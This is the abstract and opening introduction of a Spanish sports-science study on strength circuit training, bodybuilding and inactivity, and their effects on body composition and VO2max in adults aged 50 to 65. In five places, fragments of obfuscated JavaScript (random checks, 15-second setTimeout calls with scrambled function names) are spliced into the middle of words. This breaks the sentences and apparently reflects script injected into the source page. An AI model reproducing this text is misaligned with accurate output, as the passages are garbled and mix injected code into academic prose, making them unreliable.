EFECTO DEL ENTRENAMIENTO DE CIRCUITO DE FUERZA, DE BODY-BUILDING Y DEL SEDENTARISMO, SOBRE EL PORCENTAJE EN EL COMPARTIMENTO MUSCULAR (Pm(%)) Y COMPORTAMIENTO GRASO (Pg (%)), Y EN LACAPACIDAD MÁXIMA DE OXÍGENO (VO2máx) EN LA SALUD DE ADULTOS DE 50-65 AÑOS.

Autor:Emiliano Blanco Valero.


Durante el envejecimiento, se da un cambio fisiológico en diferentes parámetros, dándose una disminución del VO2max, asociado a una disminución de masa muscular, y además de un aumento de masa grasa, por lo que en este estudio se pretende comprobar un entrenamiento adecuado para retener este proceso. Los entrenamientos manipulados son los circuitos de fuerza orientados a una fuerza submáxima y fuerza resistencia, y el body-building orientado a la fuerza máxima y fuerza explosiva, viendo como varia la VO2max, medido en el test de bruce a través de la FC, y el porcentaje del compartimento graso y del compartimento muscular medido por antropometría, comparado con sedentarios, a través de un diseño entregrupo multigrupo con un pretest y un postest en el que a través de las técnicas de balanceo, bloqueo y aleatorización pudimos hacer comparaciones entre tres grupos de adultos proporcionales de 50 a 65 años, formado cada grupo por 15 hombres y 10 mujeres. Los resultados obtenidos durante las 12 semanas, mostraron como los que entrenaron circuitos de fuerza obtuvieron mayores ganancias en el Pm(%), VO2max, y una disminución de Pg(%), que los que entrenaron body-building, los cuales obtuvieron mayor masa magra, pero con un mayor peso total, siendo estos beneficios mejor adquiridos por los hombres que por las mujeres. Por lo que se aconseja para luchar contra los riesgos de la obesidad, la baja V02máx, y de la atrofia muscular, el entrenamiento de circuitos de fuerza, produciendo una ganancia de independencia funcional y calidad de vida.



INTRODUCCIÓN.


La sarcopenia, llamado así al efecto de atrofia muscular, se refiere a la reducción cuantitativa de la masa muscular y por ello lleva implícito la disminución de la fuerza así como de la tolerancia al ejercicio. Con el transcurrir de los años, nuestro cuerpo sufre una serie de cambios en la composición corporal que provoca un aumento del peso graso y un descenso de la masa magra. Esta pérdida de masa muscular (componente de la masa magra) asociada con el envejecimiento, puede deberse a los cambios estructurales del aparato músculo esquelético, a las enfermedades crónicas y sus tratamientos, a la atrofia por desuso o a la malnutrición (Evans y Campbell, 1999).


La relación existente entre el VO2max y la masa muscular ya fue definida por Fleg y Lakatia (1988) demostrandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando una relación entre el VO2max y la masa muscular calculada mediante la excreción urinaria de  creatinina en 24 horas.


Otros autores como  Rogers, Hagberg, Martin (1990) han demostrado que la masa grasa no influye en el VO2max y que las variaciones de este valor, se relaciona con la masa libre de grasa (FFM). Por lo tanto deberíamos suprimir este peso de la ponderación del VO2.


El incremento de la masa muscular hace que el metabolismo en reposo sea mayor, por lo que será más difícil la acumulación de grasa corporal, de modo que conseguimos obtener una composición corporal óptima. También puede ayudar a mejorar la sensibilidad a la insulina y el metabolismo energético (Fleg y Lakatia, 1988)


El entrenamiento de resistencia muscular aumenta el metabolismo de reposo, aumenta el gasto calórico, la masa libre de grasa mejora la tolerancia a la glucosa y mejorandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando la densidad ósea, masa muscular, fuerza, equilibrio y el nivel total de actividad física del individuo, disminuye el riesgo de fracturas por osteoporosis en mujeres pós-menopausicas, además de otros beneficios. (Fiatarone, O’Neill, Ryan, Clements, Solares, Nelson, Roberts, Kehayias, Lipsitz y Evans, 1994)


De acuerdo con Feigenbaum y Pollock (1999) el uso de máquinas es preferible al uso de pesos libres en el anciano pues son mas seguras, evitan lesiones, permiten incrementos bajos de peso, protegen la columna vertebral y evitan la maniobra de valsalva. Por lo que este estudio va enfocado al entrenamiento en gimnasio.


En estudios previos se ha demostrado que en personas de entre 60 y 70 años se logra recuperar la capacidad funcional y la potencia muscular de 20 años antes con sólo realizar un entrenamiento centrado en el desarrollo de la fuerza y la masa muscular de 4 meses de duración. (Newton, Häkkinen, Häkkinen, Mccormink, Volek y Kraemer, 2002)



El VO2max declina con la edad a razón de aproximadamente 1% anual entre los 20 y loa 70 años de edad. Flegg y Lakatia (1988) mostraron que la masa de músculo esquelético determinaba la mayor parte de la variabilidad del VO2max en varones y mujeres mayores de 60años. Los estudios han demostrado que la actividad física atenúa la declinación del VO2max relacionada con la edad. Sin embargo, parámetros predictivos de esta declinación del VO2max asociado con la edad; en varones, el VO2max disminuye a la misma velocidad en atletas y en los individuos sedentarios, y  35% de la disminución se atribuye a la sarcopenia o pérdida de masa muscular.


La cantidad de grasa que acumulan nuestros cuerpos cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando crecemos y envejecemos depende de la dieta y de los hábitos de ejercicio individuales, además de la herencia. La cantidad de relativa de grasa corporal aumenta con la edad después de alcanzar la madurez física. En el mundo occidental, el hombre medio de 35 años ganará entre 0,2 y 0,8 Kg de grasa cada año hasta su quinta o sexta década de vida. (McArdle, Katch y Katch( 1991).


Pasada la edad de 30 años, la masa magra también disminuye progresivamente. Esto es la consecuencia principalmente de la menor masa muscular y de la pérdida de minerales óseos. Después de la edad de 60 años, se reduce el peso corporal total a pesar de la creciente proporción de grasa corporal. Como es de esperar, el contenido en grasa corporal de las personas físicamente activas es significativamente menor que en hombres y mujeres sedentarios de la misma edad. También se aprecia en aquellas personas que continúan realizandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando entrenamiento con pesas aumentan su porcentaje de peso en masa magra y disminuye el porcentaje de grasa. (Martín Rodríguez, 2006).


La disminución progresiva en el consumo de oxígeno después de los 15 años aproximadamente, se estima en 0,4 ml./Kg/min. cada año. Existe una diferencia clara entre el ritmo de disminución del VO2máx. con el envejecimiento en individuos sedentarios comparados con otros activos. Los individuos sedentarios tienen un ritmo de deterioro del VO2máx., casi el doble con el paso de los años (Bruce, R. 1984; Saltin, B. 1990; Engels et. al. 1998). La disminución de la capacidad de resistencia con la edad se debe en gran parte a varias reducciones en las funciones fisiológicas implicadas en el transporte del oxígeno relacionadas con la edad. Un cambio bien documentado en la función cardiovascular es la disminución de la frecuencia cardiaca máxima y en el volumen sistólico.


Frontera, Meredith, O’Reilly, Knuttgen y Evans,(1988)informaron de un incremento del 5% en el Vo2máx medido en cicloergómetro después de 12 semanas de entrenamiento de fuerza en mayores sanos de entre 60-72 años.